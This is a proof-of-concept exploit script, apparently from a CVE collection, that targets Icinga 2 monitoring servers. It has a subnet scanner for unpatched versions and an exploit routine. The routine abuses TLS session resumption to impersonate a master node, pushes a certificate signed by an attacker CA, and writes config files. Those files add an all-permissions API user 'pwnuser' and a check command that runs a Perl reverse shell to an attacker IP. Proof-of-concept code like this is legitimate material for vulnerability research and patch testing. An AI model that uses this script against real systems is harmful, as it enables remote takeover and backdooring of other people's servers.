4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / main.py PY
import socket
import json
from OpenSSL import SSL
from OpenSSL.SSL import ZeroReturnError, WantReadError
import time
import asyncio
import ipaddress
import os
import subprocess
import tabulate
import click
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.serialization import Encoding
from cryptography.x509 import load_pem_x509_certificate
from cryptography.exceptions import InvalidSignature

import logging

logging.basicConfig(level=os.environ.get("LOGLEVEL", "INFO"))

def calculate_cert_fingerprint(cert_pem, cn):
    try:
        # Load the X.509 certificate from PEM
        if isinstance(cert_pem, str):
            cert_pem = cert_pem.encode('utf-8')
        cert = load_pem_x509_certificate(cert_pem)

        # Compute the SHA-256 digest
        fingerprint = cert.fingerprint(hashes.SHA256())

        # Convert the digest to a hexadecimal string
        cert_fingerprint = ''.join(f'{byte:02x}' for byte in fingerprint)
        return cert_fingerprint
    except Exception as e:
        logging.info(f"Exception: {e}")
        

def generate_self_signed_cert(certfile, keyfile, cn):
    # Check if the certificate and key files already exist
    if os.path.exists(certfile) and os.path.exists(keyfile):
        # Check if the CN matches
        with open(certfile, "r") as f:
            cert_pem = f.read()
            cert = load_pem_x509_certificate(cert_pem.encode('utf-8'))
            logging.info(cert.subject.rfc4514_string())
            if cert.subject.rfc4514_string() == f"CN={cn}":
                return

    # Use OpenSSL via subprocess to generate the certificate
    subprocess.run(
        [
            "openssl",
            "req",
            "-nodes",
            "-new",
            "-x509",
            "-keyout",
            keyfile,
            "-out",
            certfile,
            "-subj",
            f"/CN={cn}",
        ],
        check=True,
    )


def generate_ca_cert(ca_certfile, ca_keyfile, ca_cn):
    # Check if the certificate and key files already exist
    if os.path.exists(ca_certfile) and os.path.exists(ca_keyfile):
        return

    # Use OpenSSL via subprocess to generate the certificate
    subprocess.run(
        [
            "openssl",
            "req",
            "-nodes",
            "-new",
            "-x509",
            "-keyout",
            ca_keyfile,
            "-out",
            ca_certfile,
            "-subj",
            f"/CN={ca_cn}",
        ],
        check=True,
    )

# def create_ssl_context(certfile, keyfile):
#     """
#     Create an SSL context for the connection.
#     """
#     context = SSL.Context(SSL.TLSv1_2_METHOD)
#     context.use_certificate_file(certfile)
#     context.use_privatekey_file(keyfile)
#     return context
def create_ssl_context(certfile, keyfile):
    import ssl

    # Create an SSL context
    context = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
    # Load the certificate chain (client certificate and private key)
    context.load_cert_chain(certfile=certfile, keyfile=keyfile)
    # Load the CA file for verifying the server
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE
    return context


def create_netstring(data):
    data_bytes = data.encode("utf-8")
    length_str = str(len(data_bytes))
    netstring = f"{length_str}:{data},"
    netstring_bytes = netstring.encode("utf-8")
    logging.debug(f"NetString Bytes: {netstring_bytes}")
    return netstring_bytes


def parse_netstring(netstring_bytes):
    # logging.info("NetString Bytes:", netstring_bytes)

    if len(netstring_bytes) == 0:
        return None

    # Find the colon separator
    colon_index = netstring_bytes.find(b":")
    if colon_index == -1:
        raise ValueError("Invalid NetString: No colon found")
    # Extract length
    length_str = netstring_bytes[:colon_index].decode("utf-8")
    try:
        length = int(length_str)
    except ValueError:
        return None
    # Extract data
    start = colon_index + 1
    end = start + length
    data = netstring_bytes[start:end]
    # Verify trailing comma
    if netstring_bytes[end : end + 1] != b",":
        logging.info("Invalid NetString: Missing trailing comma")
        return None
        # raise ValueError("Invalid NetString: Missing trailing comma")
    return data.decode("utf-8")

async def async_ssl_connection_w_exploit(host, port, context):
    # Create an SSL connection asynchronously
    reader, writer = await asyncio.open_connection(host, port, ssl=context)

    try:
        # Send an HTTP request
        writer.write(b'GET /v1 HTTP/1.1\r\nHost: localhost:5665\r\n\r\n')
        await writer.drain()

        # Get the underlying SSL object
        ssl_object = writer.get_extra_info("ssl_object")
        if ssl_object:
            # Save the TLS session for reuse
            session = ssl_object.session

        # Read the response
        response = await reader.read(4096)
        logging.debug("Response:" + response.decode('utf-8'))

    finally:
        writer.close()
        await writer.wait_closed()

    # Reuse SSL session, to exploit the session resumption vulnerability
    context.session = session
    reader, writer = await asyncio.open_connection(host, port, ssl=context)
    logging.info("Session restored.")
    return reader, writer

def pyopenssl_connect_with_session(host, port, context, session=None):
    sock = socket.create_connection((host, port))
    conn = SSL.Connection(context, sock)
    if session:
        conn.set_session(session)
    conn.set_connect_state()
    conn.do_handshake()
    return conn, conn.get_session()

async def make_request_with_pyopenssl(host, port, certfile, keyfile, session=None):
    context = SSL.Context(SSL.TLSv1_2_METHOD)
    context.use_certificate_file(certfile)
    context.use_privatekey_file(keyfile)

    conn, new_session = await asyncio.to_thread(
        pyopenssl_connect_with_session, host, port, context, session
    )

    try:
        conn.sendall(b'GET /v1 HTTP/1.1\r\nHost: localhost:5665\r\n\r\n')
        response = conn.recv(4096)
        logging.debug("Response:" + response.decode('utf-8'))
    finally:
        conn.shutdown()
        conn.close()

    return new_session, context


async def scan_host_for_vuln(host, ssl_context, port=5665, timeout=3):
    logging.info(f"Scanning host: {host}")
    # Create an SSL connection asynchronously
    try:
        reader, writer = await asyncio.wait_for(
            asyncio.open_connection(host, port, ssl=ssl_context), timeout=timeout
        )
    except asyncio.TimeoutError:
        logging.info(f"Connection timed out: {host}")
        return
    except Exception as e:
        logging.info(f"Failed to connect to host: {host}")
        return
    try:
        # Send Icinga Hello
        jsonrpc_request = {
            "jsonrpc": "2.0",
            "method": "icinga::Hello",
            "params": {"version": 21300, "capabilities": 3},
        }
        json_data = json.dumps(jsonrpc_request)
        netstring_message = create_netstring(json_data)
        writer.write(netstring_message)
        await writer.drain()

        # Read the response
        net_data_response = await reader.read(4096)

        # Parse the netstring response
        response = parse_netstring(net_data_response)
        response_json = json.loads(response)
        logging.info(f"Response JSON: {response_json}")

        # Check if the response indicates a vulnerable server
        # If the version is less than 2.14.3 (21403), the server is vulnerable
        # 2.14.3, 2.13.10, 2.12.11, and 2.11.12 are the patched versions
        # Example response:
        # {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 3, 'version': 21402}}

        version = response_json.get("params", {}).get("version", 0)
        if version < 21403 and version not in [21310, 21211, 21112]:
            logging.info(f"Vulnerable server detected: {host} Version: {version}")
            return (host, version, True)
        else:
            logging.info(f"Server is not vulnerable: {host} Version: {version}")
            return (host, version, False)
    except Exception as e:
        logging.info(f"Failed to connect to host: {host}")
        return
    finally:
        writer.close()
        await writer.wait_closed()


async def scan_subnet_for_vuln(
    subnet: str,
    csv_format: bool,
    vuln_only: bool,
    port=5665,
    batch=10,
    node_cn="icinga-master",
):
    certfile = "fake-node.crt"
    keyfile = "fake-node.key"
    generate_self_signed_cert(certfile, keyfile, node_cn)

    ssl_context = create_ssl_context(certfile, keyfile)

    # Create a list of tasks for each IP in the subnet
    tasks = []
    # Get the IP addresses in the subnet
    # Batch the tasks in groups of 10

    results = []

    ips = list(ipaddress.ip_network(subnet).hosts())
    for index, ip in enumerate(ips):
        if index % batch == 0:
            results.append(await asyncio.gather(*tasks))
            tasks = []
        tasks.append(scan_host_for_vuln(str(ip), ssl_context, port))

    results.append(await asyncio.gather(*tasks))

    if vuln_only:
        results = [
            [result for result in batch if result is not None and result[2]]
            for batch in results
        ]

    if csv_format:
        _display_results_csv(results, vuln_only)
    else:
        _display_results_tabular(results)


def _display_results_tabular(results):
    table_data = []
    for batch in results:
        for result in batch:
            if result is not None:
                table_data.append([result[0], result[1], "Yes" if result[2] else "No"])

    headers = ["Host", "Version", "Vulnerable"]
    print(tabulate.tabulate(table_data, headers=headers, tablefmt="grid"))


def _display_results_csv(results, vuln_only):
    for batch in results:
        for result in batch:
            if result is not None:
                if vuln_only and not result[2]:
                    continue
                print(f"{result[0]},{result[1]},{result[2]}")

async def _write_netstring_pyopenssl(conn, data):
    # JSON
    dump = json.dumps(data)
    netstring = create_netstring(dump)
    await asyncio.to_thread(conn.write, netstring)

async def trigger_exploit_and_send_hello(host, certfile, keyfile, port=5665, node_cn="icinga-master"):
    session, context = await make_request_with_pyopenssl(host, port, certfile, keyfile)
    conn, _ = pyopenssl_connect_with_session(host, port, context, session)

    jsonrpc_request = {
        "jsonrpc": "2.0",
        "method": "icinga::Hello",
        "params": {"version": 21300, "capabilities": 3},
    }
    await _write_netstring_pyopenssl(conn, jsonrpc_request)
    return conn

async def send_pki_update(node_cn, our_ca, our_ca_key, our_ca_text, conn):
    # We sign the certificate with our CA
    subprocess.run(
        [
            "openssl",
            "req",
            "-new",
            "-key",
            "fake-node.key",
            "-out",
            "fake-node.csr",
            "-subj",
            f"/CN={node_cn}",
        ],
        check=True,
    )

    subprocess.run(
        [
            "openssl",
            "x509",
            "-req",
            "-in",
            "fake-node.csr",
            "-CA",
            our_ca,
            "-CAkey",
            our_ca_key,
            "-CAcreateserial",
            "-out",
            "fake-node-signed.crt",
        ],
        check=True,
    )

    with open("fake-node-signed.crt", "r") as f:
        newcert = f.read()

    # Endpoint 'icinga-master' sent an invalid certificate fingerprint: '' for CN 'icinga-master'
    # Get fingerprint of our cn
    fingerprint = calculate_cert_fingerprint(newcert, node_cn)
    result = {
        "cert": newcert,
        "ca": our_ca_text,
        "fingerprint_request": fingerprint,
        "status_code": 0
    }
    message = {
        "jsonrpc": "2.0",
        "method": "pki::UpdateCertificate",
        "params": result
    }
    await _write_netstring_pyopenssl(conn, message)

async def exploit_host(host, revip, revport, port=5665, node_cn="icinga-master", zone="master"):
    certfile = "fake-node.crt"
    keyfile = "fake-node.key"
    generate_self_signed_cert(certfile, keyfile, node_cn)

    our_ca="fake-ca.crt"
    our_ca_key="fake-ca.key"
    generate_ca_cert(our_ca, our_ca_key, "Fake CA")
    with open(our_ca, "r") as f:
        our_ca_text = f.read()

    count = 0
    while count < 50:
        count += 1
        try:
            conn = await trigger_exploit_and_send_hello(host, certfile, keyfile, port, node_cn)
            endpoint_cn = conn.get_peer_certificate().get_subject().commonName

            logging.info(f"Connected to endpoint: {endpoint_cn}")

            # Read the response
            net_data_response = conn.read(4096)
            # Parse the netstring response
            response = parse_netstring(net_data_response)
            response_json = json.loads(response)
            logging.info(f"Response JSON: {response_json}")

            # Send execute command
            execute_command_jsonrpc_request = {
                "jsonrpc": "2.0",
                "method": "event::ExecuteCommand",
                "params": {
                "host": endpoint_cn,  # Replace with the actual hostname
                "service": "icinga_exploit",  # Replace with the actual service name
                "command_type": "check_command",  # Indicating it's a check command
                "command": "icinga_exploit",  # Replace with the actual command name
                "check_timeout": 60,  # Timeout value in seconds (adjust as needed)
                "endpoint": endpoint_cn,
                "deadline": time.time() + 60,  # Deadline for the command
                "source": "unique-execution-id",  # Replace with a unique UUID
                "macros": {}
            }}
            await _write_netstring_pyopenssl(conn, execute_command_jsonrpc_request)

            for i in range(10):
                net_data_response = conn.read(4096)
                response = parse_netstring(net_data_response)
                if response:
                    response_json = json.loads(response)
                    logging.info(f"Response JSON: {response_json}")

                    # Check incoming messages
                    ## if we get a pki::RequestCertificate we can send our own pki::UpdateCertificate
                    if response_json["method"] == "pki::RequestCertificate":
                        logging.info("Received RequestCertificate")
                        await send_pki_update(node_cn, our_ca, our_ca_key, our_ca_text, conn)
                    elif response_json["method"] == "event::ExecutedCommand":
                        logging.info("Received ExecutedCommand")
                        # Check if the command was our exploit command
                        if response_json["params"]["service"] == "icinga_exploit":
                            # If the command was not found, we can add it
                            if "Check command 'icinga_exploit' does not exist." in response_json["params"]["output"]:
                                # Send update command to add new check command
                                revShell = (
                                    f'use Socket;$i="{revip}";$p={revport};'
                                    'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));'
                                    'if(connect(S,sockaddr_in($p,inet_aton($i)))){'
                                    'open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
                                )

                                # Properly escape for JSON and shell
                                escapedRevShell = revShell.replace('$', '$$') # Escape `$` for Icinga Macros
                                escapedRevShell = escapedRevShell.replace('"', '\\"') # Escape `"` for JSON
                                command = f'command = ["perl", "-e", "{escapedRevShell}"]'
                                object = f'object CheckCommand "icinga_exploit" {{\n{command}\n}}'

                                # Send update command to enable API
                                updates = {
                                    "/etc/icinga2/conf.d/api-users.conf": "object ApiUser \"pwnuser\" {permissions = [ \"*\" ]\npassword = \"icinga\"}",
                                    "/etc/icinga2/conf.d/commands.conf": object,
                                    "/etc/icinga2/conf.d/hosts.conf": "object Host \"localhost-pwn\" {address = \"127.0.0.1\"\ncheck_command = \"icinga_exploit\"\n}",
                                    "/etc/icinga2/conf.d/services.conf": "object Service \"icinga_exploit\" {host_name = \"localhost-pwn\"\ncheck_command = \"icinga_exploit\"\ncheck_interval = 30m\nretry_interval = 15s\n}"
                                }

                                jsonrpc_request = {
                                    "jsonrpc": "2.0",
                                    "method": "config::Update",
                                    "params": {"update": {zone: updates}},
                                }
                                logging.info("Sending config update")
                                await _write_netstring_pyopenssl(conn, jsonrpc_request) 
                                
                                # this will reload icinga so we need to reconnect, so lets break out of the loop
                                break
                await asyncio.sleep(0.5)

            # Now that we have sent the update, we need to reconnect
            await asyncio.sleep(2)

        except ZeroReturnError:
            logging.info("Connection closed by server, this usually indicates that there is a satellite/master already connected. Or Icinga is reloading. Reconnecting")
        except Exception as e:
            logging.info(e)


@click.group()
def cli():
    pass


@cli.command()
@click.option("--subnet", prompt="Subnet to scan")
@click.option("--csv", is_flag=False, help="Print results in CSV format.")
@click.option("--vuln", is_flag=True, help="Print only vulnerable hosts.")
@click.option("--port", default=5665, help="Port to scan.")
@click.option("--batch", default=10, help="Batch size for scanning.")
def scan(subnet, csv, vuln, port, batch):
    asyncio.run(scan_subnet_for_vuln(subnet, csv, vuln, port=port, batch=batch))


@cli.command()
@click.option("--host", prompt="Host to exploit")
@click.option("--port", default=5665, help="Icinga port")
@click.option("--node-cn", default="icinga-master", help="Node CN to impersonate")
@click.option("--zone", default="master", help="Zone to target")
@click.option("--revip", prompt="Reverse shell IP")
@click.option("--revport", prompt="Reverse shell port")
def exploit(host, port, node_cn, revip, revport, zone):
    asyncio.run(exploit_host(host, port=port, node_cn=node_cn, revip=revip, revport=revport, zone=zone))


if __name__ == "__main__":
    cli()